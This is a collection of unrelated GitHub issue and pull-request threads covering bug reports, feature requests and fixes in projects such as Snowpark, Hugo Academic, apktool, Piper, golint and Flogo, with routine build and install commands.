Modified set_frame_2d_labels and set_frame_2d_positional to handle SnowparkPandasColumn and SnowparkPandasType correctly. (src/snowflake/snowpark/modin/plugin/_internal/indexing_utils.py: [1] [2] [3] [4] [5] [6]
Updated get_item_series_as_single_row_frame to include SnowparkPandasType. (src/snowflake/snowpark/modin/plugin/_internal/indexing_utils.py: src/snowflake/snowpark/modin/plugin/_internal/indexing_utils.pyR3065)
Enhanced _create_internal_frame_with_join_or_align_result to handle data_column_types and index_column_types during joins. (src/snowflake/snowpark/modin/plugin/_internal/join_utils.py: [1] [2] [3]

@sfc-gh-azhan I restarted CI on this pr because I assumed it was a flake, but it looks legitimate: https://github.com/snowflakedb/snowpark-python/actions/runs/10512030861/job/29124497386?pr=2141

@sfc-gh-azhan I restarted CI on this pr because I assumed it was a flake, but it looks legitimate: https://github.com/snowflakedb/snowpark-python/actions/runs/10512030861/job/29124497386?pr=2141

It was a window specific failure. Fixed.


Missing screenshot

Missing image on: https://github.com/budRich/i3ass/blob/master/README.md

hi sistematico. I know there are some image links that are broken. The READMES is actually from my homepage, i just removed the yaml and renamed them. I will look in to that today. But in the README, you linked (the repos readme) there was never a screenshot in the first place. Are you suggesting I add some screenshots? I think I will do that.
Please let me know if you find anything else that isn't working or can be improved.
// bud

Sorry.
https://github.com/budRich/i3ass/blob/master/i3gw/README.md

fixed now!


⚠ ClamAV has degraded performance

In 490b9bc, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 89 ms

Resolved: ClamAV performance has improved in fec8e68.


F1, Test suits, etc

FYI: "'type' object is not subscriptable" is fixed by adding from __future__ import annotations to the top of the file.

A summary of some major modifications:

introduce span class, operation, and relaxing evaluation strategy
more unit tests for NER task and span-based implementation
fixed some bugs
caching max/min value of features for adaptive bucket interval

Some things will be put in further PR:

deduplicate this span class and figure out how to achieve efficient bucket-level relaxing evaluation.
introduce sequence labeling class
adding unit tests for all tasks
add docs

"The newly introduced files in explainaboard/tests/artifacts/ are somewhat big. Would a smaller file be sufficient?"

Yes, I do it intendedly since I want to test training-set dependent features. But of course, for some other tasks, I plan to do it locally (but keep one alive in our unit test should be necessary)


Citation not rendering

Describe the bug
When I add publications, either manually or in an automated fashion an try to re-render the page I get this error
ERROR 2020/05/26 11:11:50 Failed to render pages: render of "page" failed: "/mnt/c/Users/ndukl_000/Documents/GitHub/personal-website/themes/academic/layouts/publication/single.html:14:10": execute of template failed: template: publication/single.html:14:10: executing "main" at <(.Params.publication_types) and (ne (index .Params.publication_types 0) "0")>: can't give argument to non-function .Params.publication_types

To Reproduce
This happens without me making any modifications to the pre-existing code, even with a manually created publication.
Expected behavior
A clear and concise description of what you expected to happen.
Technical details:

Academic Version:
Hugo Version: Hugo Static Site Generator v0.71.1-A301F6B2/extended linux/amd64
Browser/OS: Chrome/linux

If applicable, add screenshots to help explain the issue.

Nevermind, this is a duplicate of #1715

https://github.com/gcushen/hugo-academic/commit/88d83a615c6bbdc6f280aecff3f7e993161d9a94

https://github.com/gcushen/hugo-academic/commit/88d83a615c6bbdc6f280aecff3f7e993161d9a94


content/docs/alerting: document the new template function stringSlice

This documents the stringSlice function introduced with https://github.com/prometheus/alertmanager/commit/66a0ed21bdb0720b4ba083d35acd6ae77fa7b0b5

Thanks!


Implement corpus descriptions

Each corpus should have an optional description detailing licencing and other corpus related information.

The information should be read from a corpus.md file in the root of the corpus repo when importing or updating a corpus.
The description in the corpus information files in the database (/db/data/dracor/tei/{corpusname}.xml).
The description should made available via the API in the corpus info at /corpora/{corpusname}.

All corpora (including TestDraCor) now feature a "corpus.md" file.


[FEAT] multi-threaded rebuilds

Is your feature request related to a problem? Please describe.
I am rebuilding a large project, and this takes some time (more than a minute). I have a pretty strong CPU, and it looks like apktool is only using a single CPU core, while there are many more unused.
Describe the solution you'd like
I would like to see apktool use multiple threads, preferably with a way to choose how many (defaulting to 1).
Additional context

I'll be honest. I don't have the knowledge to do this and it would additionally require correctly calling aapt/aapt2 in a threaded environment which I do not know if possible.
I'll throw it on the roadmap and close this.
https://github.com/iBotPeaches/Apktool/commit/fb140dcb3bb40b25cab17ad0e659915bc12b3792


chore(HEC): Add stdout logger creation

Coverage increased (+0.07%) to 98.592% when pulling 392112e10a4e8d3b3d82ea519ec661a3f6648f2f on add-stdout-logger-creation into 0322ce64ffc50317887d9229d4a8afda7de6f61b on master.

Turns out some dependencies do not compile under node 4. Projects needing node 4 compliance will have to use older versions of node-logger-factory

:tada: This PR is included in version 4.2.2 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


NO no-image.jpg in repository that I can find

In chapter 6 (pg. 175) when adding the image upload functionality, you mention that we can use the "no-image.jpg" in the accompanying GitHub repo, but I couldn't find one.  Not a big deal, just thought I would mention it.  (EDIT: retrieving a "NO-IMAGE" image from placeholder, covered in chapter 7, would explain why it is not in the repo - perhaps removing the text related to "no-image.jpg" on pg. 175 and mentioning we will cover the case of no image in the next chapter would be better than putting it into the repo).
This is not an "Issue" but when copying the code from the PDF I downloaded, I get # and [CA] copied that need to be removed in order for the code to be clean.  It might be nice if the # had commenting characters before them so it could be copied without having to remove them.  I'm not sure about the "[CA]" (some artifact of converting you figures to PDF format?), but the # and the "[CA]" create opportunity for me to screw things up.

Yes, that "[CA]" corruption is a mega pain in the butt..

I've been copying from this repository instead but that is sometimes not in line with the book.

@MrMoot The no-image.jpg is legacy for an older iteration of the chapter and has since been dropped. The text on the MEAP should have been updated.
@ghhv The [CA] is a formatting marker I have to add in for Manning to use to position line breaks when the code is printed. They are aware of the issues it creates for the MEAP version and I hope it will be rectrifed ASAP.

@chrissainty - looks like they removed the "[CA]"s but not the extra newlines which were added so it's still a mess.. Thanks.


Process waits for forked children when 'debug' is loaded

Your environment

ruby -v:  ruby 3.2.1 (2023-02-08 revision 31819e82c8) +YJIT [x86_64-darwin23]
rdbg -v: rdbg 1.9.2

Describe the bug
When forking a ruby process without detaching it, the parent process should not wait for the child process to exit. Requiring debug however makes the process wait until the child process quits.
To Reproduce
require 'debug'

fork { sleep 10 }

Expected behavior
The parent process should exit immediately after forking. Effective behaviour is that the parent process waits for the child process to exit, which takes roughly 10s in the example above. Without the Gem debug, it works as expected.
Additional context
May be related to #1099.

May I bump this issue? This is quite a concern for us at the moment. We've tried looking into it ourselves, but so far I had no luck in identifying the problem. Many thanks for your help.


[BUG] - Text editor setting not respected

Description
In my settings (start termscp -> ctrl+c for setup -> Text editor) I have set to use neovim (/usr/bin/nvim).
When I open a text file (with 'V'), it opens in Notedpad++, so probably using one of my KDE settings.
I tried to use 'W' to force nvim, but that crashed termscp (with both "nvim" and "/usr/bin/nvim" as input)
Steps to reproduce
In the DE, set some text editor as default for ".txt"
In termscp, create a abc.txt file
In termscp, set a different text editor as your text editor
Open abc.txt with key 'V'
Expected behaviour
Different text editor is used to open abc.txt
Environment

OS: Arch Linux
Architecture x86_64,
Rust version 1.78.0
termscp version 0.13.0
Protocol used SCP

the text editor setting is used when you open a text file the O key


[ASK] How to Train With Own Voice

I tried to train using my voice from the mimic recording studio recordings

but when I try this command
python3 -m piper_train.preprocess --language id-id --input-dir ./f72022ff-93d3-6492-3f58-0a7eabfa98db/ --output-dir ./training_dir/ --dataset-format mycroft --sample-rate 22050

This error appears
Traceback (most recent call last):
  File "/usr/lib/python3.8/runpy.py", line 194, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
    exec(code, run_globals)
  File "/home/galaxeus/Documents/hexaminate/app/piper/src/python/piper_train/preprocess.py", line 320, in <module>
    main()
  File "/home/galaxeus/Documents/hexaminate/app/piper/src/python/piper_train/preprocess.py", line 94, in main
    assert num_utterances > 0, "No utterances found"
AssertionError: No utterances found

How to solve this? What is wrong? sorry I'm still new to python

Hi @azkadev , did you find a solution for this error?

i've been trying for a long time, and it works, but now i forgot how to do it, i've switched from piper to openvoice/melotts
https://github.com/myshell-ai/MeloTTS

@azkadev Thank you.

the error
AssertionError: No utterances found

means it cannot locate the utterances (.wav files) for one reason or another.
could be because you dont have this specific folder structure:
wav
<PHONE_NUMBER>.wav
<PHONE_NUMBER>.wav
    etc...
metadata.csv

it could be because the file path and name is incorrect in the metadata.csv as the first column denotes the filename
for example this wont find the files because the names are wrong (taking the example above)
audio1.wav|test utterance 1
audio2.wav|test utterance 2
but this would work
0000000001.wav|test utterance 1
0000000002.wav|test utterance 2
it could be the contents of the CSV for example, a multi speaker takes 3 x columns, where 2nd column is the speaker name
0000000001.wav|speaker|test utterance 1
0000000002.wav|speaker|test utterance 2
you might have it blank
0000000001.wav| |test utterance 1
0000000002.wav| |test utterance 2
but a single speaker is only 2 x columns, just filename|utterance
the CSV could be in the wrong format, so it fails to parse the metadata and therefore fails to find the file / utterance.


Handle rear/front camera

Description
How to handle rear and front camera?

Can anyone help here???

This is an opensource project and asking questions that way is perceived rude. You could also simply google it: https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia#Front_and_back_camera

Hi Thijstriemstra...my apologies. Didn't wanted to be rude. What I wanted to know was, how to set these constraints in the player initialization?
Regards,
Abhay

I haven't tested it but from the link I posted it seems this should do it:
var constraints = { video: { facingMode: (front? "user" : "environment") } };


Small UI issue

The green lines that represent the quantity kinda overtake the whole length of the screen now ^^

Oh well I updated Factorio to the latest version (1.1.57) and there's no UI issue there, so all good ~

Ah, that's relieving, because that would've been a issue that would be a royal pain in the behind to fix, heh. Anyway, thanks for that, maybe I'll increase the min game version to prevent further confused players, heh.


monitor all updates

Found that placing each value update in it's own child component significantly improves the web socket load times and the overall performance of the app.
Using the pattern described here in option 3 to share a single web socket connection and filter the incoming messages in each child component
https://github.com/robtaussig/react-use-websocket/issues/40#issuecomment-616676102
Still some warnings in the react app about slow loading setInterval, message, setTimeout, etc but overall the app is fine from a user perspective now on the dev server

Also the updated logic here fixes two other issues:
Web socket data sticking around since the clear message and clearing the pvValues array happened before all the WS messages were done coming in https://github.com/ChannelFinder/pvinfo/issues/20
Also now if USE_PVWS is false in the .env, there should be no attempts to create a web socket connection and no checkboxes in the query results table


fix: parse env options from comments (fix #1962)

I seem to have fixed the bug, but I'm not sure if I have the environment option merging right, and things could probably be cleaner in the long run (see #1987).

Let's merge it now and see, if the order is really a problem later.


[BUG] log message incorrectly showing hosting node name

Describe the bug
client-across and server pod ip addresses are incorrect in the log message -
time="2023-10-10 06:20:52" level=debug msg="server Running on ip-10-0-75-22.us-west-2.compute.internal with IP <IP_ADDRESS>"
time="2023-10-10 06:20:52" level=debug msg="client-across Running on ip-10-0-88-122.us-west-2.compute.internal with IP <IP_ADDRESS>"
time="2023-10-10 06:20:53" level=debug msg="Executing workloads. hostNetwork is false, service is false"
time="2023-10-10 06:20:53" level=debug msg="🔥 Client (client-across-7f5f95b667-bxdq7,<IP_ADDRESS>) starting netperf against server : <IP_ADDRESS>"
time="2023-10-10 06:20:53" level=info msg="🗒  Running netperf TCP_RR (service false) for 60s "
time="2023-10-10 06:20:53" level=debug msg="[bash super-netperf 1 -H <IP_ADDRESS> -l 60 -t TCP_RR -- -k rt_latency,p99_latency,throughput,throughput_units,remote_recv_calls,local_send_calls,local_transport_retrans -m 1024 -R 1]"
[root@vkommadi network-perf-v2]# oc get pods -o wide NAME                             READY   STATUS    RESTARTS   AGE     IP            NODE                                        NOMINATED NODE   READINESS GATES client-across-7f5f95b667-bxdq7   1/1     Running   0          5m33s   <IP_ADDRESS>   ip-10-0-88-122.us-west-2.compute.internal   <none>           <none> server-fb46448d8-hl4wp           1/1     Running   0          5m30s   <IP_ADDRESS>   ip-10-0-75-22.us-west-2.compute.internal    <none>           <none> [root@vkommadi network-perf-v2]#
Log should show client-across ip as <IP_ADDRESS> instead of <IP_ADDRESS> and server ip as <IP_ADDRESS> instead of <IP_ADDRESS>
To Reproduce
Steps to reproduce the behavior:

run pod2pod secenario

Expected behavior
For example log message should have been like this
time="2023-10-10 06:20:52" level=debug msg="server Running on ip-10-0-75-22.us-west-2.compute.internal with IP <IP_ADDRESS>"
time="2023-10-10 06:20:52" level=debug msg="client-across Running on ip-10-0-88-122.us-west-2.compute.internal with IP <IP_ADDRESS>"

Can you confirm you are running with tag: v0.1.15 ?
Also, the expected output is correct.
DEBU[2023-10-10 08:16:34] client-across Running on perf-fc640-6.perf.lab.eng.rdu2.redhat.com with IP **<IP_ADDRESS>**
Which we see can look at the oc get nodes -o wide
perf-fc640-6.perf.lab.eng.rdu2.redhat.com   Ready    worker   714d     v1.21.11+6b3cbdd   **<IP_ADDRESS>**   <none>        Red Hat Enterprise Linux CoreOS 48.84.202206281246-0 (Ootpa)   4.18.0-305.49.1.el8_4.x86_64   cri-o://1.21.8-6.rhaos4.8.gitd78036c.el8
Before launching the pods, we do not have the IP address, as it hasn't been allocated or annotated to the pod. I am just calling out the Host the pod was scheduled to, and the IP of that Host -- not the pod.

We misunderstood that it is printing the pod IP. Thanks for the explanation.


This model repeats only same motion when chair is about to stand!

Hello, I am interested  in your project and I am trying to make this model "chair". but when I run 'connect_stand.py', no matter how and where chair falls, this chair repeats only same behavior. so could you inspect whether or not model file uploaded in github is same with your model file uploaded in your video?
PS. if that two file is different is true, could I say can you give me your file that is uploaded in video ?
Thank you.

Thank you for your interest and for taking the time to create the model!
The script connect_stand.py executes a pre-designed recovery motion rather than a learned behavior.
If you want to perform a recovery motion based on reinforcement learning, please run rl_stand.py instead.
However, please be cautious as the model can be fragile.

Thank you for your reply. And I'm sorry for the late confirmation
I was confused because Connect_stand.py also had code for loading the model file.
Actually, when I run rl_stand.py, it act recovery motion.  And I saw the possibility of trying to stand for sure.
However this didn't do the right thing because there was a problem with the orientation axis, Because I was have some issues, so I'm using bno08x now.
So, I need to compare the axis. Therefore, may I ask why you added '-'(subtraction) to the x and y values of imu_msg in the python file?


Implement custom Copy/Paste in Intro

Currently Copy/Cut/Paste is disabled in Study/Game/Exercise.
In Intro we use the built in functions but they do not handle non-text objects. We need custom ones.
Ref: https://stackoverflow.com/questions/2400176/how-to-register-to-listen-to-richtextbox-commands

Completed in Study/Game/Exercise already.
Remaining implementation in Intro.

Diagrams and moves (in blue that correspond to position on the main board) are copied perfectly. There is however an issue with line breaks. When you copy text in different paras the system combines it making just one para.
See the original txt I highlighted and copied:

See the result of me pasting it into the Intro of another chapter:

Note the empty lines pasted at the end.

Now it looks like there is doubled carriage return.
I highlighted and copied the bit in red below:

On pasting into the Intro of another chapter I got it almost right however there is multiple line break between 3rd and 4th para (red arrow below)

I am emailing my workbook so you can try to replicate the issue. Just open it in Chess Forge and go to Intro of Chapter 1 adn copy the same bit. Then got to the end of Intro of Chapter 2 and paste it.


Add lyrics view

If a song has lyrics in its ID3 tags, allow fetching them from the [songpath]/lyrics route.
Lyrics should be visible in a scroll box where the visualizer is on the desktop as a toggle.  One should also be able to pop out lyrics into a small popup window.
window.open('{{path}}/lyrics','targetWindow','toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=250,height=500')

To keep styling consistent between the site and the popup, it might be valuable to make lyrics an actual template view with styling, and have the lyrics panel on the site that displays for the active song be an iframe.

If the lyrics window is open, when the active song changes it should update the popup window's location
http://stackoverflow.com/a/14345456/1968689


E2e

Hi Sacha,
This is a preliminary view.  Could I ask you to give it a try?
I have no immediate way to do a cross-platform check, and I'd prefer to get your feedback before I go any further.
Rgds,
Martin

@martinhbramwell What's the current state of play with this? Would you say it is completed?

I have no idea. I have dropped Vulcan entirely.
On Feb 18, 2018 5:06 AM, "Vincent Roman"<EMAIL_ADDRESS>wrote:

@martinhbramwell https://github.com/martinhbramwell What's the current
state of play with this? Would you say it is completed?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/VulcanJS/Vulcan-Starter/pull/5#issuecomment-366505087,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAxvRwRk0HeF0IRVPIkoPdaB9wpXRoQTks5tV_YogaJpZM4QBwxH
.

@vincro
The only reason I had for this Pull Request was to offer a quick start to anyone who thinks testing for Vulcan might not be such a bad idea.
There were no takers. No sign of any interest at all.
I left it in a state where it was immediately useable.  I have no idea what has happened since then.

@martinhbramwell THANKS =)  I was going to try run with it, and get some of it integrated into a wider testing / example for people to use with Vulcan.

There were no takers. No sign of any interest at all.

Sorry about that, I can see how that'd be frustrating. It just takes time for me to review PRs, especially when they introduce new elements. I'm sure this will be very useful as a starting point going forward!

Hi, I am going to close as we probably won't use chimp for e2e testing, with the idea of being as Meteor -independant as possible. We've just setup an example test with Cypress.
Cypress is a bit less optimized for Meteor (basically it won't be able to call Meteor methods, eg for seeding), but it's more standard and incredibly powerful when it comes to actually creating the tests.


[User Story] Toast notifications

[User Story] [Epic]
Multi-party approval, Approval configuration

Epic Title
(Epic NAME)

User Story Title
(Story NAME)

T-shirt size: S(mall), M(edium), L(arge)

Story Points - Fibonacci (1,2,3,5,8,13)

User Story
[Value Statement] "As a user of a certain type (specify), I want to do something (action) so I can provide business value"

Description
A short description

Business Need (the why):
from epic, if needed

Details
All the details needed to accomplish the story. Tasks - can be linked

Additional User Story
linked #384

Acceptance Criteria/Tests
The list of tests or criteria to be used to validate the story has been completed. May still need UAT or SIT / integration testing with other stories.

Failure
if any, fold in negative tests

Definition of Done
e.g.Passes all regression tests, Passes testing per acceptance criteria, Approved by UI team, Able to show feature in demo

UX/UI Details and/or mockups
if UI change, a mockup or description of what to change, attach image/file

Applications or Systems impacted
upstream/downstream applications/systems

Dependencies
non story dependencies

Assumptions
if any

Performance Considerations
Will the work performed as part of this story impact system performance. If there is potential for a performance hit, where would you expect it to manifest in the system.

Security Considerations
E.g., does this story involve working with Personal Identifying Information (PII)? Note any such security sensitive aspects.

QA Considerations
what might be hard to test or test setup criteria

Acrhitectural/System or Component Impacts
if we're adding something new or significantly changing architecture flag for architect review

Reverse Engineering Required
to document areas not known well by dev team

Questions/Clarifications
Create new issue (add label: question) in this repo and link to this issue

Closing. This is a duplicate of #384 that was discussed during Sprint 5 planning meeting today.


Hash is recalculated even when navigating through hash

This is an issue only on sections that can't be scrolled to, being on the bottom of the page and smaller than the window height.
How it looks:

If you update to react-scrollable-anchor version 0.6.0, do you still have this issue? Thanks!

I am on 0.6.1 and still have this issue, URL hash will change to the section at the top of the viewport after navigating to a section underneath it if it is smaller than the window height.


An attempt to sanitize memory with CLANG seems to betray a bug.

I just noticed that the CLANG sanitizer claims my compiler does not behave properly when it comes to memory management. Here is a session that exemplifies that:
[teo.samarzija@teos-acer-laptop AECforWebAssembly]$ clang++ -fsanitize=memory -o aec AECforWebAssembly.cpp -g
[teo.samarzija@teos-acer-laptop AECforWebAssembly]$ lldb aec
(lldb) target create "aec"
Current executable set to '/home/teo.samarzija/Documents/AECforWebAssembly/aec' (x86_64).
(lldb) run nQueensPuzzle/nQueensPuzzle.aec
Process 10558 launched: '/home/teo.samarzija/Documents/AECforWebAssembly/aec' (x86_64)
==10558==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x65bed2 in std::ctype<char> const const& std::use_facet<std::ctype<char> const>(std::locale const&) /usr/lib/gcc/x86_64-redhat-linux/4.8.5/../../../../include/c++/4.8.5/bits/locale_classes.tcc:135:55
    #1 0x65898d in std::__detail::_Scanner<char const*>::_Scanner(char const*, char const*, unsigned int, std::locale) /usr/lib/gcc/x86_64-redhat-linux/4.8.5/../../../../include/c++/4.8.5/bits/regex_compiler.h:111:18
    #2 0x657916 in std::__detail::_Compiler<char const*, std::regex_traits<char> >::_Compiler(char const* const&, char const* const&, std::regex_traits<char>&, unsigned int) /usr/lib/gcc/x86_64-redhat-linux/4.8.5/../../../../include/c++/4.8.5/bits/regex_compiler.h:721:28
    #3 0x65708b in std::shared_ptr<std::__detail::_Automaton> std::__detail::__compile<char const*, std::regex_traits<char> >(char const* const&, char const* const&, std::regex_traits<char>&, unsigned int) /usr/lib/gcc/x86_64-redhat-linux/4.8.5/../../../../include/c++/4.8.5/bits/regex_compiler.h:1104:37
    #4 0x5a4286 in std::basic_regex<char, std::regex_traits<char> >::basic_regex(char const*, unsigned int) /usr/lib/gcc/x86_64-redhat-linux/4.8.5/../../../../include/c++/4.8.5/bits/regex.h:387:22
    #5 0x57008b in main /home/teo.samarzija/Documents/AECforWebAssembly/AECforWebAssembly.cpp:35:32
    #6 0x7ffff6ae02da in __libc_start_main /home/teo.samarzija/glibc/csu/../csu/libc-start.c:308:16
    #7 0x41faf9 in _start /home/teo.samarzija/glibc/csu/../sysdeps/x86_64/start.S:120

SUMMARY: MemorySanitizer: use-of-uninitialized-value /usr/lib/gcc/x86_64-redhat-linux/4.8.5/../../../../include/c++/4.8.5/bits/locale_classes.tcc:135:55 in std::ctype<char> const const& std::use_facet<std::ctype<char> const>(std::locale const&)
Exiting
Process 10558 exited with status = 77 (0x0000004d)
(lldb)

So, apparently, my test of whether the C++ compiler supports regular expressions somehow leads to using an uninitialized variable. I am not sure how that is possible.

Here is what Valgrind outputs:
❯ valgrind ./aec ../nQueensPuzzle/nQueensPuzzle.aec
==346659== Memcheck, a memory error detector
==346659== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==346659== Using Valgrind-3.16.1 and LibVEX; rerun with -h for copyright info
==346659== Command: ./aec ../nQueensPuzzle/nQueensPuzzle.aec
==346659==
Running the tests...
All the tests passed in 14721 milliseconds.
Reading the file...
All characters read in 12 milliseconds.
Tokenizing the program...
Finished tokenizing the program in 1433493 milliseconds.
Parsing the program...
Finished parsing the program in 35783 milliseconds.
Compiling the program...
Compilation finished in 63259 milliseconds!
Saving the assembly in file "../nQueensPuzzle/nQueensPuzzle.wat"...
Assembly successfully saved, quitting now.
==346659==
==346659== HEAP SUMMARY:
==346659==     in use at exit: 0 bytes in 0 blocks
==346659==   total heap usage: 88,110,509 allocs, 88,110,509 frees, 2,078,431,847 bytes allocated
==346659==
==346659== All heap blocks were freed -- no leaks are possible
==346659==
==346659== For lists of detected and suppressed errors, rerun with: -s
==346659== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
valgrind ./aec ../nQueensPuzzle/nQueensPuzzle.aec  1546,01s user 0,76s system 99% cpu 25:48,82 total```
This seems to suggest this was a false positive.


Golang Based Operator Tutorial

Implement the Controller
For this example replace the generated controller file controllers/memcached_controller.go with the example memcached_controller.go implementation.
For the above section in https://sdk.operatorframework.io/docs/building-operators/golang/tutorial/ , I copied the example from : https://github.com/operator-framework/operator-sdk/blob/v1.2.0/testdata/go/memcached-operator/controllers/memcached_controller.go
In the example, the import has this entry :
cachev1alpha1 "github.com/example/memcached-operator/api/v1alpha1"
Unless I change the import to  this below one, I can't get the sample working :
cachev1alpha1 "github.com/example-inc/memcached-operator/api/v1alpha1"

@ShinojEdakkara
PR #4393 that was merged to master fixes this issue, it should be available in the next SDK release.

@ShinojEdakkara
PR #4393 that was merged to master fixes this issue, it should be available in the next SDK release.

Closing this one as solved in the master already,

Closing this one as solved in the master already,


Store note and afk note in separate fields

Setting a node is like setting a status, it could be a long term thing. If I suddenly go afk I lose my note even though afk is a temporary thing. We need a separate AfkNote field to store the current afk text for a user.

Fixed in CS fbb21be1cdd1


Editing the translation (line #19)

In line #19, I edited the sentence which is meant to say that the computer can not check more than one value at the same time. I added more and deleted some work to get the right translation in Arabic.

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the master branch of freeCodeCamp.
[x] None of my changes are plagiarized from another source without proper attribution.
[x] My article does not contain shortened URLs or affiliate links.

If your pull request closes a GitHub issue, replace the XXXXX below with the issue number.
Closes #XXXXX

sparkles Awesome! Congratulations @rand0123  on your first contribution to freeCodeCamp! sparkles
We're all really looking forward to your next contribution.


Cannot get the package

For some reasons some packages cannot be setup with go get like golint
It seems to be completely unrelated to the proxy or the firewall.
go get -u -t -v github.com/golang/lint/golint
github.com/golang/lint (download)
Fetching https://golang.org/x/tools/go/gcexportdata?go-get=1
https fetch failed: Get https://golang.org/x/tools/go/gcexportdata?go-get=1: dial tcp <IP_ADDRESS>:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
package golang.org/x/tools/go/gcexportdata: unrecognized import path "golang.org/x/tools/go/gcexportdata" (https fetch: Get https://golang.org/x/tools/go/gcexportdata?go-get=1: dial tcp <IP_ADDRESS>:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.)

Same issue happens with guru, go-symbols, gorename, goreturns, golint and gotests.

I also encountered this problem!
C:\Users\Administrator>go get -u github.com/golang/lint/golint
package golang.org/x/tools/go/gcexportdata: unrecognized import path "golang.org/x/tools/go/gcexportdata" (https fetch: Get https://golang.org/x/tools/go/gcexportdata?go-get=1: dial tcp <IP_ADDRESS>:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.)

I also encountered this problem!
how to fix it?

I also encountered this problem!
how to fix it?

I cannot reproduce this issue. Where are you running go get -u -t -v github.com/golang/lint/golint from? What operating systems are you using? What versions of Go?
Please don't just say "me too". It's not helpful.

The problem is solved now.
VS Code can download it now, it's maybe a network problem before.

But I have the same problem even if use VS Code to download

Same problem. go version: go version go1.6.2 linux/amd64 Ubuntu 16.04
I fix it by removing tools folder and use go get to install the package again，hope it helps.

same
go version go1.8.3 windows/amd64
$ go get github.com/golang/lint
package golang.org/x/tools/go/gcexportdata: unrecognized import path "golang.org/x/tools/go/gcexportdata" (https fetch: Get https://golang.org/x/tools/go/gcexportdata?go-get=1: dial tcp <IP_ADDRESS>:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.)

Fixed it by mkdir -p $GOPATH/src/golang.org/x/ and cd into this DIR :
git clone https://github.com/golang/tools.git

Then my VS Code install all the packages SUCCEEDED
Hope it's helpful to you

I also encountered this problem!
i have two gopath ,i did  the fix action  as @littleomz said  in each gopath .
but it  still  not work.

mkdir -p $GOPATH/src/golang.org/x cd $GOPATH/src/golang.org/x git clone https://github.com/golang/tools.git git clone https://github.com/golang/lint.git
完成以上步骤后，执行
go get golang.org/x/lint/golint
成功安装golint ，亲测有效
或者打开vscode，让vscode自行安装，应该也能成功

im using visual studio code and it prompts to install additional packages: go-outline, go-symbols, guru, gorename, goreturns, golint.
because golang.org are blocked here. i download mirror packages: lint, tools from github web pages and set up my workplace. this has the fetch lint problem.
using git clone those mirror packages solves my problem too, thanks.
thereis an article "Why is Golang popular in china"
but do you know golang is blocked in china too. its just too tough!!!

mkdir -p $GOPATH/src/golang.org/x

XXX-Mac:~ XXX$ go get golang.org/x/mobile/cmd/gomobile
package golang.org/x/mobile/cmd/gomobile: unrecognized import path "golang.org/x/mobile/cmd/gomobile" (https fetch: Get https://golang.org/x/mobile/cmd/gomobile?go-get=1: dial tcp <IP_ADDRESS>:443: connect: connection refused)

XXX-Mac:~ XXX$ mkdir -p $GOPATH/src/golang.org/x
mkdir: /src/golang.org/x: Read-only file system

What helped me regarding the failed connection attempts, when trying to install gotools via VSCODE, was to set my corporate proxy in VSCODE's settings.json:
"http.proxy": "http://proxy-address:proxy-port


Added Readme.md to Java Samples

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@vimmerru Can you please review it


Optional.orElse() vs Optional.orElseGet()

Not very sure about the difference in usage of the two Optional class methods and when to use them

orElse() takes any parameter of a type T, whereas orElseGet() accepts a functional interface of type Supplier that returns an object of type T
Here is a thread from stackoverflow if you still have more queries
https://stackoverflow.com/questions/33170109/difference-between-optional-orelse-and-optional-orelseget

Oh I see thank you :)


Activity Context Logger

When trying to get the logger from the activity context a nil pointer error was being thrown. @fm-tibco not sure if you want to get the logger from a different method?
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xc0000005 code=0x0 addr=0x0 pc=0x7515b5]
goroutine 20 [running]:
github.com/project-flogo/contrib/activity/log.(*Activity).Eval(0xaf5450, 0x8a41a0, 0xc00018a1d0, 0x0, 0x0, 0x0)
	C:/Users/melli/go/src/github.com/project-flogo/contrib/activity/log/activity.go:67 +0x4f5
github.com/project-flogo/core/api.EvalActivity(0x8a1640, 0xaf5450, 0x7d4840, 0xc0001a01a0, 0x0, 0x0, 0x0)
	C:/Users/melli/go/src/github.com/project-flogo/core/api/support.go:218 +0x350
main.RunActivities(0x8a3340, 0xc00005e080, 0xc00018c3f0, 0x0, 0x0, 0x0)
	c:/Users/melli/Downloads/flogo_api/main.go:51 +0x27e
github.com/project-flogo/core/api.(*proxyAction).Run(0xc000052fa0, 0x8a3340, 0xc00005e080, 0xc00018c3f0, 0x0, 0x0, 0x0)
	C:/Users/melli/go/src/github.com/project-flogo/core/api/support.go:137 +0x82
github.com/project-flogo/core/engine/runner.ActionWorker.Start.func1(0x1, 0xaf5450, 0xc000050120, 0xc00009a600, 0xc000050180, 0x8a49c0, 0xc000052da0)
	C:/Users/melli/go/src/github.com/project-flogo/core/engine/runner/worker.go:100 +0x474
created by github.com/project-flogo/core/engine/runner.ActionWorker.Start
	C:/Users/melli/go/src/github.com/project-flogo/core/engine/runner/worker.go:76 +0x89

or maybe you're thinking the logger should come from the init context and just be stored with the activity?

Fixed in master


how can I deploy with my local model (e.g. faster_whisper_large_v3)?

as title

That's the goal of the project and it works out of the box. What's the issue you're experiencing?

That's the goal of the project and it works out of the box. What's the issue you're experiencing?

Thanks for you reply, I actually wish to pre-download the model weights (faster_whisper and segmentation) to deploy the service due to some special network issue.

from_pretrained allow huggingface model name OR model file path.


New version: Unity.Unity.2022 version 2022.3.34f1

Created by 🥟 Dumplings in workflow run #6004.

Log
